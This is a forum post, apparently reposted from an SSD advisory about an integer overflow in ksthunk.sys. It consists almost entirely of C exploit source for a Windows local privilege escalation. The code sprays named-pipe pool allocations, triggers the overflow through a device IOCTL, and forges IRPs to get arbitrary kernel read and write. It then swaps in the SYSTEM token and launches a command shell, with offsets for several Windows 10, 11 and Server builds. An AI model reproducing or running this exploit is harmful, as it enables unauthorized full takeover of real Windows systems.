Пожалуйста, обратите внимание, что пользователь заблокирован
Источник
https://ssd-disclosure.com/ssd-advisory-ksthunk-sys-integer-overflow-pe/
https://ssd-disclosure.com/ssd-advisory-ksthunk-sys-integer-overflow-pe/
C:
#include <Windows.h>
#include <winternl.h>
#include <winnt.h>
#include <stdio.h>
#include <cfgmgr32.h>
#pragma comment(lib, "Cfgmgr32.lib")
#define DATA_ENTRY_HEADER_SIZE 0x30
#define ENTRY_DATASIZE(x)((x) - DATA_ENTRY_HEADER_SIZE)
/* IRP for 64bit
nt!_IRP
+0x000 Type : Int2B
+0x002 Size : Uint2B
+0x004 AllocationProcessorNumber : Uint2B
+0x006 Reserved : Uint2B
+0x008 MdlAddress : Ptr64 _MDL
+0x010 Flags : Uint4B
+0x018 AssociatedIrp : <unnamed-tag>
+0x020 ThreadListEntry : _LIST_ENTRY
+0x030 IoStatus : _IO_STATUS_BLOCK
+0x040 RequestorMode : Char
+0x041 PendingReturned : UChar
+0x042 StackCount : Char
+0x043 CurrentLocation : Char
+0x044 Cancel : UChar
+0x045 CancelIrql : UChar
+0x046 ApcEnvironment : Char
+0x047 AllocationFlags : UChar
+0x048 UserIosb : Ptr64 _IO_STATUS_BLOCK
+0x048 IoRingContext : Ptr64 Void
+0x050 UserEvent : Ptr64 _KEVENT
+0x058 Overlay : <unnamed-tag>
+0x068 CancelRoutine : Ptr64 void
+0x070 UserBuffer : Ptr64 Void
+0x078 Tail : <unnamed-tag>
*/
#pragma pack(push, 8)
typedef struct {
SHORT Type;
USHORT Size;
USHORT AllocationProcessorNumber;
PVOID64 MdlAddress;
ULONG Flags;
PVOID64 AssociatedIrp;
LIST_ENTRY64 ThreadListEntry;
union {
NTSTATUS Status;
PVOID64 Pointer;
}
IoStatus;
PVOID64 Information;
CHAR RequestorMode;
BOOLEAN PendingReturned;
CHAR StackCount;
CHAR CurrentLocation;
BOOLEAN Cancel;
UCHAR CancelIrql;
CCHAR ApcEnvironment;
UCHAR AllocationFlags;
PVOID64 UserIosb;
PVOID64 UserEvent;
char Overlay[16];
PVOID64 CancelRoutine;
PVOID64 UserBuffer;
CHAR TailIsWrong;
}
IRP;
#pragma pack(pop)
typedef void(IO_APC_ROUTINE)(
void * ApcContext,
IO_STATUS_BLOCK * IoStatusBlock,
unsigned long reserved
);
typedef int(__stdcall * NTFSCONTROLFILE)(
HANDLE fileHandle,
HANDLE event,
IO_APC_ROUTINE * apcRoutine,
void * ApcContext,
IO_STATUS_BLOCK * ioStatusBlock,
unsigned long FsControlCode,
void * InputBuffer,
unsigned long InputBufferLength,
void * OutputBuffer,
unsigned long OutputBufferLength
);
typedef NTSTATUS( * pNtWow64WriteVirtualMemory64)(
HANDLE ProcessHandle,
unsigned __int64 BaseAddress,
void * Buffer,
unsigned __int64 Size,
unsigned __int64 * NumberOfBytesWritten);
typedef struct {
HANDLE r;
HANDLE w;
}
PIPE_HANDLES;
#define PIPESIZE 0x1000
PIPE_HANDLES pipes[PIPESIZE];
PIPE_HANDLES holder;
void CreateSprayPipe(PIPE_HANDLES * ph, DWORD quota = -1) {
ph -> w = CreateNamedPipe(
L "\\\\.\\pipe\\exploit_test",
PIPE_ACCESS_OUTBOUND | FILE_FLAG_OVERLAPPED,
PIPE_TYPE_BYTE | PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
quota,
quota,
0,
0);
ph -> r = CreateFile(L "\\\\.\\pipe\\exploit_test", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, 0);
}
void WriteDataEntry(PIPE_HANDLES ph, PVOID WriteData, DWORD32 len) {
WriteFile(ph.w,
WriteData,
ENTRY_DATASIZE(len),
NULL,
NULL);
}
void ReadDataEntry(PIPE_HANDLES ph, PVOID ReadBuffer, DWORD32 len) {
ReadFile(ph.r,
ReadBuffer,
ENTRY_DATASIZE(len),
NULL,
NULL);
}
#define MARKER 0x9999999988888888
DWORD64 readthis = MARKER;
IRP fakeirp;
IRP * fakeirp_w;
BYTE fakeevent[0x80];
DWORD64 dummyvalue;
#define inputsize 0x1000 // >0x18, Allocation Size, Copy From +0x20
#define outputsize 0x1060 // Copy size-0x10, Should Copy by 0x40
LPBYTE inbuffer;
LPBYTE outbuffer;
DWORD64 flink = 0; // Used for Recovering
DWORD64 blink = 0; // Used for Recovering
DWORD64 thread_list[2];
DWORD overflowidx = 0;
void setupaar(LPBYTE buffer, DWORD64 readaddr = (DWORD64) & readthis, DWORD size = 0x8) {
fakeirp.AssociatedIrp = (PVOID64) readaddr;
// Setup Overflow Data
*(DWORD64 * )(buffer + 0x0) = flink; // NextEntry->Flink
*(DWORD64 * )(buffer + 0x8) = blink; // NextEntry->Blink
*(DWORD64 * )(buffer + 0x10) = (DWORD64) & fakeirp; // IRP
*(DWORD64 * )(buffer + 0x18) = (DWORD64) 0; // SecurityContext
*(DWORD * )(buffer + 0x20) = (DWORD) 1; // Entry Type
*(DWORD * )(buffer + 0x24) = (DWORD) 0; // QuotaEntry
*(DWORD * )(buffer + 0x28) = (DWORD) size; // DataSize
*(DWORD * )(buffer + 0x2C) = (DWORD) 0; // x
}
void setupoobread(LPBYTE buffer, DWORD size) {
// Setup Overflow Data
*(DWORD64 * )(buffer + 0x0) = flink; // NextEntry->Flink
*(DWORD64 * )(buffer + 0x8) = blink; // NextEntry->Blink
*(DWORD64 * )(buffer + 0x10) = (DWORD64) 0; // IRP
*(DWORD64 * )(buffer + 0x18) = (DWORD64) 0; // SecurityContext
*(DWORD * )(buffer + 0x20) = (DWORD) 0; // Entry Type
*(DWORD * )(buffer + 0x24) = (DWORD) 0; // QuotaEntry
*(DWORD * )(buffer + 0x28) = (DWORD) size; // DataSize
*(DWORD * )(buffer + 0x2C) = (DWORD) 0; // x
}
void setuprecoverdata(LPBYTE buffer, DWORD size) {
// Setup Overflow Data
*(DWORD64 * )(buffer + 0x0) = flink; // NextEntry->Flink
*(DWORD64 * )(buffer + 0x8) = blink; // NextEntry->Blink
*(DWORD64 * )(buffer + 0x10) = (DWORD64) 0; // IRP
*(DWORD64 * )(buffer + 0x18) = (DWORD64) 0; // SecurityContext
*(DWORD * )(buffer + 0x20) = (DWORD) 0; // Entry Type
*(DWORD * )(buffer + 0x24) = (DWORD) size; // QuotaEntry
*(DWORD * )(buffer + 0x28) = (DWORD) size; // DataSize
*(DWORD * )(buffer + 0x2C) = (DWORD) 0; // x
}
void setuparw(LPBYTE buffer, DWORD64 dstaddr, DWORD64 * value, DWORD size = 0x10) {
#define IRP_BUFFERED_IO 0x00000010
#define IRP_DEALLOCATE_BUFFER 0x00000020
#define IRP_INPUT_OPERATION 0x00000040
// Setup Overflow Data
fakeirp_w -> Flags = 0x0060400;
fakeirp_w -> CurrentLocation = fakeirp_w -> StackCount + 1;
fakeirp_w -> UserIosb = (PVOID64) dstaddr;
memcpy((void * ) & fakeirp_w -> IoStatus, value, 0x10);
//fakeirp_w->CancelRoutine = NULL;
fakeirp_w -> UserEvent = (PVOID64) fakeevent;
*(DWORD * )(fakeevent + 4) = 1; // Set State
/*
fakeirp_w->Flags |= IRP_BUFFERED_IO | IRP_INPUT_OPERATION;
fakeirp_w->Flags &= ~IRP_DEALLOCATE_BUFFER;
fakeirp_w->AssociatedIrp = (PVOID64)srcaddr; // src
fakeirp_w->UserBuffer = (PVOID64)dstaddr; // dst
fakeirp_w->ThreadListEntry.Flink = (ULONGLONG)(thread_list);
fakeirp_w->ThreadListEntry.Blink = (ULONGLONG)(thread_list);
thread_list[0] = thread_list[1] = (DWORD64)((LPBYTE)fakeirp_w + offsetof(IRP, ThreadListEntry.Flink));
*/
*(DWORD64 * )(buffer + 0x0) = flink; // NextEntry->Flink
*(DWORD64 * )(buffer + 0x8) = blink; // NextEntry->Blink
*(DWORD64 * )(buffer + 0x10) = (DWORD64) fakeirp_w; // IRP
*(DWORD64 * )(buffer + 0x18) = (DWORD64) 0; // SecurityContext
*(DWORD * )(buffer + 0x20) = (DWORD) 2; // Entry Type
*(DWORD * )(buffer + 0x24) = (DWORD) size - 1; // QuotaEntry
*(DWORD * )(buffer + 0x28) = (DWORD) size; // DataSize
*(DWORD * )(buffer + 0x2C) = (DWORD) 0; // x
}
void setupbug(LPBYTE buffer, DWORD64 bugaddr, DWORD size = 0xfc0) {
*(DWORD64 * )(buffer + 0x0) = flink; // NextEntry->Flink
*(DWORD64 * )(buffer + 0x8) = blink; // NextEntry->Blink
*(DWORD64 * )(buffer + 0x10) = (DWORD64) bugaddr; // IRP
*(DWORD64 * )(buffer + 0x18) = (DWORD64) 0; // SecurityContext
*(DWORD * )(buffer + 0x20) = (DWORD) 2; // Entry Type
*(DWORD * )(buffer + 0x24) = (DWORD) size; // QuotaEntry
*(DWORD * )(buffer + 0x28) = (DWORD) size; // DataSize
*(DWORD * )(buffer + 0x2C) = (DWORD) 0; // x
}
DWORD64 readQWORD(DWORD64 addr) {
DWORD64 readdata;
DWORD read;
fakeirp.AssociatedIrp = (PVOID64)(addr);
PeekNamedPipe(pipes[overflowidx].r, & readdata, 8, & read, NULL, NULL);
return readdata;
}
void writeQWORD(DWORD64 addr, DWORD64 value) {
DWORD64 writedata = value;
DWORD read;
fakeirp_w -> AssociatedIrp = (PVOID64)( & writedata);
fakeirp_w -> UserBuffer = (PVOID64)(addr);
fakeirp_w -> ThreadListEntry.Flink = (ULONGLONG)(thread_list);
fakeirp_w -> ThreadListEntry.Blink = (ULONGLONG)(thread_list);
thread_list[0] = thread_list[1] = (DWORD64)((LPBYTE) fakeirp_w + offsetof(IRP, ThreadListEntry.Flink));
ReadFile(pipes[overflowidx].r, & dummyvalue, 0x1, & read, 0);
}
/*********
Define Offset Area
*******/
// From _EPROCESS
// #define UNIQUEPROCESSIDOFFSET 0x440
// #define ACTIVEPROCESSLINTOFFSET 0x448
// #define TOKENOFFSET 0x4b8
// #define ThreadListHeadOffset 0x5e0
// From _ETHREAD
// Win11
//#define ThreadListEntryOffset 0x538
//#define CIDOffset 0x4c8
// Windows Server 2022
//#define ThreadListEntryOffset 0x538
//#define CIDOffset 0x4c8
// Win10
//#define ThreadListEntryOffset 0x4e8
//#define CIDOffset 0x478
ULONG UNIQUEPROCESSIDOFFSET;
ULONG ACTIVEPROCESSLINTOFFSET;
ULONG TOKENOFFSET;
//ULONG ThreadListHeadOffset;
//ULONG ThreadListEntryOffset;
//ULONG CIDOffset;
ULONG ProcessOffset;
ULONG IrpListOffset;
// FROM _FILE_OBJECT, _DEVICE_OBJECT, _DRIVER_OBJECT
#define DEVICE_OBJECT_OFFSET 0x8
#define DRIVER_OBJECT_OFFSET 0x8
#define DRIVER_START_OFFSET 0x18
// Update by PE parsing
ULONG RtlQueryRegistryValuesEx_Offset;
ULONG PsInitialSystemProcess_Offset;
ULONG IAT_RtlQueryRegistryValuesEx_Offset;
//----------------------------------
VOID CheckVersion() {
HMODULE hDll = LoadLibrary(TEXT("Ntdll.dll"));
typedef NTSTATUS(CALLBACK * RTLGETVERSION)(PRTL_OSVERSIONINFOW lpVersionInformation);
RTLGETVERSION pRtlGetVersion;
pRtlGetVersion = (RTLGETVERSION) GetProcAddress(hDll, "RtlGetVersion");
if (pRtlGetVersion) {
RTL_OSVERSIONINFOW ovi = {
0
};
ovi.dwOSVersionInfoSize = sizeof(ovi);
NTSTATUS ntStatus = pRtlGetVersion( & ovi);
if (ntStatus == 0) {
printf("[*] Version : %d\n", ovi.dwBuildNumber);
if (ovi.dwBuildNumber > 26000) {
// Win11 24H2 ??
UNIQUEPROCESSIDOFFSET = 0x1D0;
ACTIVEPROCESSLINTOFFSET = 0x1D8;
TOKENOFFSET = 0x248;
//ThreadListHeadOffset = 0x370;
//ThreadListEntryOffset = 0x578;
//CIDOffset = 0x508;
ProcessOffset = 0x220;
IrpListOffset = 0x540;
} else if (ovi.dwBuildNumber > 22000) {
// Win11 23H2 ??
UNIQUEPROCESSIDOFFSET = 0x440;
ACTIVEPROCESSLINTOFFSET = 0x448;
TOKENOFFSET = 0x4b8;
//ThreadListHeadOffset = 0x5e0;
//ThreadListEntryOffset = 0x538;
//CIDOffset = 0x4c8;
ProcessOffset = 0x220;
IrpListOffset = 0x500;
} else if (ovi.dwBuildNumber <= 22000 && ovi.dwBuildNumber > 20000) {
// Server 2022 ??
UNIQUEPROCESSIDOFFSET = 0x440;
ACTIVEPROCESSLINTOFFSET = 0x448;
TOKENOFFSET = 0x4b8;
//ThreadListHeadOffset = 0x5e0;
//ThreadListEntryOffset = 0x538;
//CIDOffset = 0x4c8;
ProcessOffset = 0x220;
IrpListOffset = 0x500;
} else if (ovi.dwBuildNumber <= 20000 && ovi.dwBuildNumber > 19040) {
// WIN 10, 1904X version
UNIQUEPROCESSIDOFFSET = 0x440;
ACTIVEPROCESSLINTOFFSET = 0x448;
TOKENOFFSET = 0x4b8;
//ThreadListHeadOffset = 0x5e0;
//ThreadListEntryOffset = 0x4e8;
//CIDOffset = 0x478;
ProcessOffset = 0x220;
IrpListOffset = 0x4b0;
} else {
printf("Not Supported\n");
exit(0);
}
}
}
}
/********************
Exploit Helper START!!!!
******************/
// Get EPROCESS for current process
ULONG64 PsGetProcessFromPid(DWORD64 pEPROCESS, DWORD pid) {
LIST_ENTRY64 ActiveProcessLinks;
ActiveProcessLinks.Flink = (ULONGLONG) readQWORD((DWORD64)(pEPROCESS + ACTIVEPROCESSLINTOFFSET));
ActiveProcessLinks.Blink = (ULONGLONG) readQWORD((DWORD64)(pEPROCESS + ACTIVEPROCESSLINTOFFSET + 8));
ULONG64 res = 0;
while (TRUE) {
ULONG64 UniqueProcessId = 0;
// adjust EPROCESS pointer for next entry
pEPROCESS = (ULONG64)(ActiveProcessLinks.Flink) - ACTIVEPROCESSLINTOFFSET;
// get pid
UniqueProcessId = readQWORD((DWORD64)(pEPROCESS + UNIQUEPROCESSIDOFFSET));
// is this our pid?
if (pid == UniqueProcessId) {
res = pEPROCESS;
break;
}
// get next entry
ActiveProcessLinks.Flink = (ULONGLONG) readQWORD((DWORD64)(pEPROCESS + ACTIVEPROCESSLINTOFFSET));
ActiveProcessLinks.Blink = (ULONGLONG) readQWORD((DWORD64)(pEPROCESS + ACTIVEPROCESSLINTOFFSET + 8));
// if next same as last, we reached the end
if (pEPROCESS == (ULONG64)(ActiveProcessLinks.Flink) - ACTIVEPROCESSLINTOFFSET)
break;
}
return res;
}
/******************
Exploit Helper END!!!!
*****************/
void trigger(HANDLE hDevice) {
DWORD returnByte;
//*(GUID*)(inbuffer + 0) = { 0x1d58c920, 0xac9b, 0x11cf, {0xa5, 0xd6, 0x28, 0xdb, 0x04, 0xc1, 0x00, 0x00} };
*(DWORD64 * )(inbuffer + 0x10) = 0x400000000; // 1 or 2 or 4
*(DWORD * ) outbuffer = 2; // 1 or 2
DeviceIoControl(hDevice, 0x2F0007, inbuffer, inputsize, outbuffer, 0xfffffff0, & returnByte, NULL);
}
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
} else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
} else {
printf(".");
}
}
printf("\n");
}
}
int main(int argc, char ** argv) {
CheckVersion();
NTFSCONTROLFILE NtFsControlFile = (NTFSCONTROLFILE) GetProcAddress(LoadLibrary(L "ntdll.dll"), "NtFsControlFile");
pNtWow64WriteVirtualMemory64 NtWow64WriteVirtualMemory64 = (pNtWow64WriteVirtualMemory64) GetProcAddress(GetModuleHandle(L "ntdll.dll"), "NtWow64WriteVirtualMemory64");
DWORD targetpid = GetCurrentProcessId();
if (targetpid == 0) {
return 0;
}
// Pipes for Spraying
for (int i = 0; i < PIPESIZE; i++) {
CreateSprayPipe( & pipes[i]);
}
CreateSprayPipe( & holder);
LPBYTE DummyBuffer = (LPBYTE) malloc(0x10000);
memset(DummyBuffer, 0x77, 0x10000);
inbuffer = (LPBYTE) malloc(inputsize);
SIZE_T aligned_size = (outputsize + 0xFFF) & 0xFFFFFFFFFFFFF000;
outbuffer = (LPBYTE) VirtualAlloc((LPVOID) 0x13370000, aligned_size, MEM_COMMIT | MEM_RESERVE, 0x40);
outbuffer += (aligned_size - outputsize);
LPBYTE overwrite_data_ptr = outbuffer + 0x1000 - 0x10;
memset(inbuffer, 0, inputsize);
memset(outbuffer, 0x41, outputsize);
#define OOBSIZE 0x4000
setupoobread(overwrite_data_ptr, OOBSIZE);
// GUID DeviceGUID = { 0xcf1dda2c, 0x9743, 0x11d0, {0xa3, 0xee, 0x00, 0xa0, 0xc9, 0x22, 0x31, 0x96} };
GUID DeviceGUID = {
0x3c0d501a,
0x140b,
0x11d1,
{
0xb4,
0x0f,
0x00,
0xa0,
0xc9,
0x22,
0x31,
0x96
}
};
WCHAR DeviceLink[256] = {
0,
};
CM_Get_Device_Interface_ListW( & DeviceGUID, NULL, DeviceLink, 256, CM_GET_DEVICE_INTERFACE_LIST_ALL_DEVICES);
HANDLE hDevice = CreateFile(
DeviceLink,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0,
NULL
);
printf("[*] hDevice : %p\n", hDevice);
Sleep(200);
/*
Create Memory Layout
*/
for (int i = 0; i < PIPESIZE; i++) {
// size of ETHREAD structure is 0xa00
WriteDataEntry(pipes[i], DummyBuffer, 0xff0);
WriteDataEntry(pipes[i], DummyBuffer, 0xff0);
WriteDataEntry(pipes[i], DummyBuffer, 0xff0);
}
ReadDataEntry(pipes[PIPESIZE - 0x80], DummyBuffer, 0xff0);
trigger(hDevice);
// Before Start OOB, Holing the Free Space
WriteDataEntry(holder, DummyBuffer, 0xff0);
// Step1. OOB Check
for (int i = 0; i < PIPESIZE; i++) {
DWORD read = 0;
PeekNamedPipe(pipes[i].r, DummyBuffer, OOBSIZE, & read, NULL, NULL);
if (read > OOBSIZE - 0x100) {
overflowidx = i;
break;
}
}
printf("[+] gotit : %p\n", overflowidx);
if (overflowidx == 0) {
exit(0);
}
blink = * (DWORD64 * )(DummyBuffer + 0xfd0);
flink = * (DWORD64 * )(DummyBuffer + 0xfd8) + 0x1000;
DWORD64 CCB = blink - 0xa8;
printf("[*] blink : %llx, flink : %llx, CCB : %llx\n", blink, flink, CCB);
// Setp2. ARR Setup
setupaar(overwrite_data_ptr);
// Release the Area
ReadDataEntry(holder, DummyBuffer, 0xff0);
trigger(hDevice);
// Before Start ARR, Holing the Free Space
WriteDataEntry(holder, DummyBuffer, 0xff0);
// Setup IRP
IO_STATUS_BLOCK isb;
NtFsControlFile(pipes[overflowidx].w, 0, 0, 0, & isb, 0x119FF8, DummyBuffer, 0x1000, 0, 0);
// Read IRP
DWORD64 irpptr = readQWORD(blink + 0x40);
fakeirp_w = (IRP * ) malloc(0x1000);
for (int i = 0; i < 0x40; i++) {
*(DWORD64 * )((LPBYTE) fakeirp_w + i * 8) = readQWORD(irpptr + i * 8);
}
//PrintHex((LPBYTE)fakeirp_w, 0x80);
DWORD64 CurrentThread = * (DWORD64 * )((LPBYTE) fakeirp_w + 0x20);
DWORD64 CurrentProcess = readQWORD(CurrentThread - IrpListOffset + ProcessOffset);
printf("[*] CurrentThread : %llx, CurrentThread : %llx\n", CurrentThread, CurrentProcess);
// Start Traditional Exploit Technique
DWORD64 SystemProcess = PsGetProcessFromPid(CurrentProcess, 4);
DWORD64 SystemToken = readQWORD(SystemProcess + TOKENOFFSET);
printf("[*] SystemProcess : %llx, SystemToken : %llx, CurrentProcess : %llx\n", SystemProcess, SystemToken, CurrentProcess);
DWORD64 tokendata[2] = {
0,
SystemToken
};
// STEP3. Setup ARW
setuparw(overwrite_data_ptr, CurrentProcess + TOKENOFFSET - 8, tokendata);
// Release the Area
ReadDataEntry(holder, DummyBuffer, 0xff0);
trigger(hDevice);
DWORD dwread;
ReadFile(pipes[overflowidx].r, DummyBuffer, 0x1, & dwread, NULL);
// STEP4. Recover Data
setuprecoverdata(overwrite_data_ptr, 0xfc0);
trigger(hDevice);
Sleep(200);
system("cmd");
}